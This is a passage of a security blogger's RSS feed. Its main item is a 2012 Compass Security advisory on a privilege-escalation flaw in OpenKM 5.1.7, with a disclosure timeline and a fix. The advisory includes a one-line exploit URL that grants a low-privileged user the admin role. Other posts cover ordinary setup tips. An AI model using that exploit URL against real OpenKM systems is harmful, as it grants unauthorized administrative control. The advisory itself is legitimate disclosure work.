[2] Cross-site Request Forgery https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
CSRF is an attack which forces an end user to execute unwanted actions on a
web application in which he/she is currently authenticated. With a little help
of social engineering (like sending a link via email/chat), an attacker may
force the users of a web application to execute actions of the attacker's
choosing. A successful CSRF exploit can compromise end user data and operation
in case of normal user. If the targeted end user is the administrator account,
this can compromise the entire web application.
</pre>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cybrs.wordpress.com/169/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cybrs.wordpress.com/169/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cybrs.wordpress.com/169/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cybrs.wordpress.com/169/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cybrs.wordpress.com/169/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cybrs.wordpress.com/169/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cybrs.wordpress.com/169/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cybrs.wordpress.com/169/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cybrs.wordpress.com/169/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cybrs.wordpress.com/169/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cybrs.wordpress.com/169/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cybrs.wordpress.com/169/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cybrs.wordpress.com/169/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cybrs.wordpress.com/169/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cybrs.wordpress.com&amp;blog=30925834&amp;post=169&amp;subd=cybrs&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cybrs.wordpress.com/2012/01/03/openkm-5-1-7-os-command-execution-xsrf-based/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/dde95e5bb9f02be40a8263dc2689dc6f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">cbrunsch</media:title>
		</media:content>
	</item>
		<item>
		<title>OpenKM 5.1.7 Privilege Escalation</title>
		<link>http://cybrs.wordpress.com/2012/01/03/openkm-5-1-7-privilege-escalation/</link>
		<comments>http://cybrs.wordpress.com/2012/01/03/openkm-5-1-7-privilege-escalation/#comments</comments>
		<pubDate>Tue, 03 Jan 2012 08:42:00 +0000</pubDate>
		<dc:creator>cbrunsch</dc:creator>
				<category><![CDATA[Advisories]]></category>
		<category><![CDATA[openkm]]></category>
		<category><![CDATA[privilege escalation]]></category>

		<guid isPermaLink="false">https://cybrs.wordpress.com/?p=166</guid>
		<description><![CDATA[############################################################# # # COMPASS SECURITY ADVISORY http://www.csnc.ch/ ############################################################# # # ID: COMPASS-2012-001 # Product: OpenKM Document Management System 5.1.7 [1] # Vendor: OpenKM # Subject: Privilege Escalation, Improper Access Control # Risk: High # Effect: Remotely exploitable # Author: Cyrill Brunschwiler (cyrill.brunschwiler@csnc.ch) # Date: January 3rd 2012 # ############################################################# Description: ------------ Cyrill Brunschwiler, Security Analyst [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cybrs.wordpress.com&amp;blog=30925834&amp;post=166&amp;subd=cybrs&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<pre>
#############################################################
#
# COMPASS SECURITY ADVISORY http://www.csnc.ch/
#############################################################
#
# ID:      COMPASS-2012-001
# Product: OpenKM Document Management System 5.1.7 [1]
# Vendor:  OpenKM
# Subject: Privilege Escalation, Improper Access Control
# Risk:    High
# Effect:  Remotely exploitable
# Author:  Cyrill Brunschwiler (cyrill.brunschwiler@csnc.ch)
# Date:    January 3rd 2012
#
#############################################################

Description:
------------
Cyrill Brunschwiler, Security Analyst at Compass Security Network Computing,
Switzerland discovered an authorization flaw in the OpenKM solution. OpenKM
does allow application administrators to manage users and to assign roles.
Unfortunately, a standard user having the UserRole may alter the roles of
existing account. This is possible because OpenKM does not properly check
for the sufficient privileges. The changes are being applied even though the
OpenKM user interface displays an "insufficient privileges" message to the
unprivileged user.

Vulnerable:
-----------
OpenKM version 5.1.7 and most likely prior versions (unconfirmed)

Not vulnerable:
---------------
OpenKM version 5.1.8.

Workaround:
-----------
Grant access to /OpenKM/admin path to specific IPs only (requires additional
WAF or Reverse Proxy setup[2])

Exploit:
--------
Login as low privileged User (having the UserRole) and call the following
URL to gain administrative privileges.

Upgrade Existing User (add AdminRole)

http://example.com/OpenKM/admin/Auth?action=userEdit&#038;persist=true&#038;usr_id=usr&#038;usr_active=on&#038;usr_roles=AdminRole

Timeline:
---------
August 6th, Vulnerability discovered
August 9th, Vendor contacted
August 10th, Vendor notified
December 1st, Patched version released
January 2nd, Advisory released

References:
-----------
[1] OpenKM http://www.openkm.com
is an Free/Libre document management system that provides a web interface for
managing arbitrary files. OpenKM includes a content repository, Lucene
indexing, and jBPM workflow. The OpenKM system was developed using Java
technology.

[2] Open Source Web Entry Server
Talk at OWASP Appsec Washington D.C. in November 2010 about setting up an
Apache based Open Source Web Entry Server

https://www.owasp.org/images/f/f4/AppSecDC_Open_Source_Web_Entry_Server_V2.2.ppt
</pre>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cybrs.wordpress.com/166/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cybrs.wordpress.com/166/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cybrs.wordpress.com/166/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cybrs.wordpress.com/166/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cybrs.wordpress.com/166/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cybrs.wordpress.com/166/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cybrs.wordpress.com/166/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cybrs.wordpress.com/166/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cybrs.wordpress.com/166/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cybrs.wordpress.com/166/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cybrs.wordpress.com/166/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cybrs.wordpress.com/166/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cybrs.wordpress.com/166/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cybrs.wordpress.com/166/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cybrs.wordpress.com&amp;blog=30925834&amp;post=166&amp;subd=cybrs&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cybrs.wordpress.com/2012/01/03/openkm-5-1-7-privilege-escalation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/dde95e5bb9f02be40a8263dc2689dc6f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">cbrunsch</media:title>
		</media:content>
	</item>
		<item>
		<title>ImageMagick C++ Template</title>
		<link>http://cybrs.wordpress.com/2011/09/24/imagemagick-c-template/</link>
		<comments>http://cybrs.wordpress.com/2011/09/24/imagemagick-c-template/#comments</comments>
		<pubDate>Sat, 24 Sep 2011 18:48:00 +0000</pubDate>
		<dc:creator>cbrunsch</dc:creator>
				<category><![CDATA[Multimedia]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[c++]]></category>
		<category><![CDATA[imagemagick]]></category>
		<category><![CDATA[make]]></category>
		<category><![CDATA[makefile]]></category>
		<category><![CDATA[template]]></category>

		<guid isPermaLink="false">http://cybrs.wordpress.com/?p=112</guid>
		<description><![CDATA[This entry is intended to give anyone interested in using the C++ ImageMagick API a kickstart. Base C++ code #include &#60;iostream&#62; #include &#60;Magick++.h&#62; using namespace Magick; using namespace std; &#160; int main(void) { cout &#60;&#60; "hello ImageMagick."; return 0; } Base Makefile CC=g++ CFLAGS=-c -Wall -m32 -Wall -ansi -pedantic -O3 -Wno-long-long -I /usr/include/ImageMagick LDFLAGS=-m32 -pthread [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cybrs.wordpress.com&amp;blog=30925834&amp;post=112&amp;subd=cybrs&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>This entry is intended to give anyone interested in using the C++ ImageMagick API a kickstart.</p>
<p>Base C++ code</p>
<p><code>#include &lt;iostream&gt;<br />
 #include &lt;Magick++.h&gt;</code></p>
<p><code> </code></p>
<p><code>using namespace Magick;<br />
 using namespace std;</code></p>
<p><code> </code></p>
<p>&nbsp;</p>
<p><code>int main(void) {<br />
 cout &lt;&lt; "hello ImageMagick.";<br />
 return 0;<br />
 }</code></p>
<p>Base Makefile</p>
<p><code>CC=g++<br />
 CFLAGS=-c -Wall -m32 -Wall -ansi -pedantic -O3 -Wno-long-long -I /usr/include/ImageMagick<br />
 LDFLAGS=-m32 -pthread -L /usr/lib/ImageMagick-6.6.2 -lMagick++ -ljpeg -lpng -ltiff -lbz2 -lxml2 -lz -lm -lgomp  -lMagickWand -lMagickCore</code></p>
<p><code> </code></p>
<p><code>SOURCES=image.cpp<br />
 OBJECTS=$(SOURCES:.cpp=.o)<br />
 EXECUTABLE=test</code></p>
<p><code>
<p>all: $(SOURCES) $(EXECUTABLE)</p>
<p>$(EXECUTABLE): $(OBJECTS)<br />
 $(CC) $(LDFLAGS) $(OBJECTS) -o $@<br />
 .cpp.o:<br />
 $(CC) $(CFLAGS) $&lt; -o $@</p>
<p></code></p>
<p>&nbsp;</p>
<p><code>clean:<br />
 rm $(EXECUTABLE) *.o</code></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cybrs.wordpress.com/112/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cybrs.wordpress.com/112/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cybrs.wordpress.com/112/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cybrs.wordpress.com/112/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cybrs.wordpress.com/112/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cybrs.wordpress.com/112/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cybrs.wordpress.com/112/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cybrs.wordpress.com/112/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cybrs.wordpress.com/112/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cybrs.wordpress.com/112/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cybrs.wordpress.com/112/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cybrs.wordpress.com/112/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cybrs.wordpress.com/112/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cybrs.wordpress.com/112/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cybrs.wordpress.com&amp;blog=30925834&amp;post=112&amp;subd=cybrs&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cybrs.wordpress.com/2011/09/24/imagemagick-c-template/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/dde95e5bb9f02be40a8263dc2689dc6f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">cbrunsch</media:title>
		</media:content>
	</item>
		<item>
		<title>IBM ThinkPad Unauthorized Network Card</title>
		<link>http://cybrs.wordpress.com/2011/08/12/ibm-thinkpad-unauthorized-network-card/</link>
		<comments>http://cybrs.wordpress.com/2011/08/12/ibm-thinkpad-unauthorized-network-card/#comments</comments>
		<pubDate>Fri, 12 Aug 2011 17:50:00 +0000</pubDate>
		<dc:creator>cbrunsch</dc:creator>
				<category><![CDATA[Maintenance]]></category>
		<category><![CDATA[802.11n]]></category>
		<category><![CDATA[ibm]]></category>
		<category><![CDATA[lenovo]]></category>
		<category><![CDATA[minipci]]></category>
		<category><![CDATA[patch]]></category>
		<category><![CDATA[wireless]]></category>

		<guid isPermaLink="false">http://cybrs.wordpress.com/?p=114</guid>
		<description><![CDATA[I did replace my old-fashioned IBM ThinkPad R50 wireless miniPCI network card with a new 802.11n device. Unfortunately, the BIOS did not really like it&#8230; Error 1802 Unathorized network card&#8230; As you might guess, there are work arounds. Some have posted how to add the new card to the list of accepted ones (patch some [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cybrs.wordpress.com&amp;blog=30925834&amp;post=114&amp;subd=cybrs&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I did replace my old-fashioned IBM ThinkPad R50 wireless miniPCI  network card with a new 802.11n device. Unfortunately, the BIOS did  not really like it&#8230; Error 1802 Unathorized network card&#8230; As you might guess, there are work arounds. Some have posted how to add the new card to the list of accepted ones (patch some BIOS bytes) and some have posted how to flip the correct BIOS byte to disable the check.</p>
<p>I feared the effort to create a new BIOS and flash it to the ROM. Moreover, a BIOS updated would just obsolete my changes. However, there is a pretty cool bootable DOS CDROM that includes a patch</p>
<p>1) download and burn ISO <a href="http://www.filecrop.com/no-1802.iso.html" target="_blank">here</a><br />
 2) disable your laptops wireless device (so the BIOS does not complain with Err 1802)<br />
 3) boot from disc<br />
 4) type no-1802 at the command prompt (there will be no message, don&#8217;t worry)<br />
 5) reboot, enable wireless device</p>
<p>Worked out of the box.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cybrs.wordpress.com/114/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cybrs.wordpress.com/114/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cybrs.wordpress.com/114/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cybrs.wordpress.com/114/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cybrs.wordpress.com/114/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cybrs.wordpress.com/114/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cybrs.wordpress.com/114/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cybrs.wordpress.com/114/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cybrs.wordpress.com/114/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cybrs.wordpress.com/114/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cybrs.wordpress.com/114/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cybrs.wordpress.com/114/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cybrs.wordpress.com/114/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cybrs.wordpress.com/114/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cybrs.wordpress.com&amp;blog=30925834&amp;post=114&amp;subd=cybrs&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cybrs.wordpress.com/2011/08/12/ibm-thinkpad-unauthorized-network-card/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/dde95e5bb9f02be40a8263dc2689dc6f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">cbrunsch</media:title>
		</media:content>
	</item>
		<item>
		<title>Google +1 Button for Pebble Blog</title>
		<link>http://cybrs.wordpress.com/2011/08/04/google-1-button-for-pebble-blog/</link>
		<comments>http://cybrs.wordpress.com/2011/08/04/google-1-button-for-pebble-blog/#comments</comments>
		<pubDate>Thu, 04 Aug 2011 18:25:38 +0000</pubDate>
		<dc:creator>cbrunsch</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[pebble]]></category>

		<guid isPermaLink="false">https://cybrs.wordpress.com/?p=30</guid>
		<description><![CDATA[You basically need to change 2 files to add the Google +1 button to the Pebble Blog. First, add the Google +1 button javascript code at the end of your favorite template. This should be located somewhere around themes/your-theme/template.jsp &#60;script type="text/javascript"&#160;src="https://apis.google.com/js/plusone.js"&#62;&#60;/script&#62;&#60;script type="text/javascript"&#62;&#160; &#160;(function() {&#160; &#160; &#160; var po = document.createElement('script');&#160; &#160; &#160; po.type = 'text/javascript'; [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cybrs.wordpress.com&amp;blog=30925834&amp;post=30&amp;subd=cybrs&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>You basically need to change 2 files to add the Google +1 button to the Pebble Blog. </p>
<p> First, add the Google +1 button javascript code at the end of your favorite template. This should be located somewhere around themes/your-theme/template.jsp</p>
<p> <code>&lt;script type="text/javascript"&nbsp;src="https://apis.google.com/js/plusone.js"&gt;<br />&lt;/script&gt;<br />&lt;script type="text/javascript"&gt;<br />&nbsp; &nbsp;(function() {<br />&nbsp; &nbsp; &nbsp; var po = document.createElement('script');<br />&nbsp; &nbsp; &nbsp; po.type = 'text/javascript'; po.async = true;<br />&nbsp; &nbsp; &nbsp; po.src = 'https://apis.google.com/js/plusone.js';<br />&nbsp; &nbsp; &nbsp; var s = document.getElementsByTagName('script')[0]; <br />&nbsp; &nbsp; &nbsp; s.parentNode.insertBefore(po, s);<br />&nbsp; &nbsp;})();<br />&lt;/script&gt;<br /></code> <br /> Second, set the button tag within the entry Java server page. So it does appears right behind the title of each blog entry. You will find the file in WEB-INF/jsp/blogEntry.jsp</p>
<p> <code>&lt;h1&gt;<br /> &lt;a href="${blogEntry.permalink}"&gt;${blogEntry.title}&lt;/a&gt;<strong>&amp;nbsp;<br /> &lt;g:plusone size="small" href="${blogEntry.localPermalink}"&gt;&lt;/g:plusone&gt;</strong><br />&lt;/h1&gt;</code><a href="http://pebble.sourceforge.net/"><br /> </a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cybrs.wordpress.com/30/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cybrs.wordpress.com/30/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cybrs.wordpress.com/30/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cybrs.wordpress.com/30/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cybrs.wordpress.com/30/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cybrs.wordpress.com/30/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cybrs.wordpress.com/30/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cybrs.wordpress.com/30/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cybrs.wordpress.com/30/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cybrs.wordpress.com/30/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cybrs.wordpress.com/30/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cybrs.wordpress.com/30/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cybrs.wordpress.com/30/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cybrs.wordpress.com/30/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cybrs.wordpress.com&amp;blog=30925834&amp;post=30&amp;subd=cybrs&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cybrs.wordpress.com/2011/08/04/google-1-button-for-pebble-blog/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/dde95e5bb9f02be40a8263dc2689dc6f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">cbrunsch</media:title>
		</media:content>
	</item>
		<item>
		<title>Create mysql database, user and grant permission</title>
		<link>http://cybrs.wordpress.com/2011/05/24/how-to-chkconfig-openkm-jboss-init-script/</link>
		<comments>http://cybrs.wordpress.com/2011/05/24/how-to-chkconfig-openkm-jboss-init-script/#comments</comments>
		<pubDate>Tue, 24 May 2011 13:41:51 +0000</pubDate>
		<dc:creator>cbrunsch</dc:creator>
				<category><![CDATA[Maintenance]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[sql]]></category>

		<guid isPermaLink="false">https://cybrs.wordpress.com/?p=15</guid>
		<description><![CDATA[I just can&#8217;t remember these commands mysql&#62; create database mydb; mysql&#62; create user newuser@'192.168.1.2' identified by '-Pas$w0rd-'; mysql&#62; grant all privileges on mydb.* to newuser@'192.168.1.2'; mysql&#62; flush privileges<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cybrs.wordpress.com&amp;blog=30925834&amp;post=15&amp;subd=cybrs&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I just can&#8217;t remember these commands
<div> <code> mysql&gt; create database mydb;</code>
<div><code>mysql&gt; create user newuser@'192.168.1.2' identified by '-Pas$w0rd-';</code></div>
<div><code>mysql&gt; grant all privileges on mydb.* to newuser@'192.168.1.2';</code></div>
<div><code>mysql&gt; flush privileges </code></div>
</div>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cybrs.wordpress.com/15/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cybrs.wordpress.com/15/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cybrs.wordpress.com/15/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cybrs.wordpress.com/15/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cybrs.wordpress.com/15/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cybrs.wordpress.com/15/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cybrs.wordpress.com/15/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cybrs.wordpress.com/15/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cybrs.wordpress.com/15/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cybrs.wordpress.com/15/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cybrs.wordpress.com/15/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cybrs.wordpress.com/15/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cybrs.wordpress.com/15/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cybrs.wordpress.com/15/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cybrs.wordpress.com&amp;blog=30925834&amp;post=15&amp;subd=cybrs&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cybrs.wordpress.com/2011/05/24/how-to-chkconfig-openkm-jboss-init-script/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/dde95e5bb9f02be40a8263dc2689dc6f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">cbrunsch</media:title>
		</media:content>
	</item>
		<item>
		<title>How to chkconfig (OpenKM JBOSS init script)</title>
		<link>http://cybrs.wordpress.com/2011/05/22/how-to-chkconfig-openkm-jboss-init-script-2/</link>
		<comments>http://cybrs.wordpress.com/2011/05/22/how-to-chkconfig-openkm-jboss-init-script-2/#comments</comments>
		<pubDate>Sun, 22 May 2011 17:17:12 +0000</pubDate>
		<dc:creator>cbrunsch</dc:creator>
				<category><![CDATA[Maintenance]]></category>
		<category><![CDATA[centos]]></category>
		<category><![CDATA[chkconfig]]></category>
		<category><![CDATA[jboss]]></category>

		<guid isPermaLink="false">https://cybrs.wordpress.com/?p=25</guid>
		<description><![CDATA[It needs some steps to integrate OpenKM properly. Therefore, you basically need to engineer your start script yourself. The following notes should help to get JBOSS up quickly. 1) create a new user&#160; &#160; # useradd jboss 2) copy script &#160; # cp JBOSS_HOME/bin/jboss_init_redhat.sh /etc/init.d/jboss 3) add chkconfig properties to init file &#160; # chkconfig: [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cybrs.wordpress.com&amp;blog=30925834&amp;post=25&amp;subd=cybrs&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>It needs some steps to integrate OpenKM properly. Therefore, you basically need to engineer your start script yourself. The following notes should help to get JBOSS up quickly.
<div> 1) create a new user&nbsp;
<div><code>&nbsp; # useradd jboss</code></div>
<div> 2) copy script
<div><code>&nbsp; # cp JBOSS_HOME/bin/jboss_init_redhat.sh /etc/init.d/jboss</code></div>
<div> 3) add chkconfig properties to init file
<div><code>&nbsp; # chkconfig: 345 65 35 <br />&nbsp; # description: JBOSS AS init script <br />&nbsp; # pidfile: /var/run/jboss.pid</code></div>
<div>4) adjust all other variables in the init file header&nbsp;</div>
<div>5) add script to chkconfig</div>
<div><code>&nbsp; # chkconfig --add jboss</code></div>
<div>6) set jboss to be started at level 3</div>
<div><code>&nbsp; # chkconfig jboss --level 3 on</code></div>
<div> 7) start now (# service jboss start)</div>
</div>
</div>
</div>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cybrs.wordpress.com/25/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cybrs.wordpress.com/25/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cybrs.wordpress.com/25/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cybrs.wordpress.com/25/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cybrs.wordpress.com/25/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cybrs.wordpress.com/25/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cybrs.wordpress.com/25/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cybrs.wordpress.com/25/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cybrs.wordpress.com/25/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cybrs.wordpress.com/25/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cybrs.wordpress.com/25/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cybrs.wordpress.com/25/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cybrs.wordpress.com/25/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cybrs.wordpress.com/25/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cybrs.wordpress.com&amp;blog=30925834&amp;post=25&amp;subd=cybrs&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cybrs.wordpress.com/2011/05/22/how-to-chkconfig-openkm-jboss-init-script-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/dde95e5bb9f02be40a8263dc2689dc6f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">cbrunsch</media:title>
		</media:content>
	</item>
	</channel>
</rss>
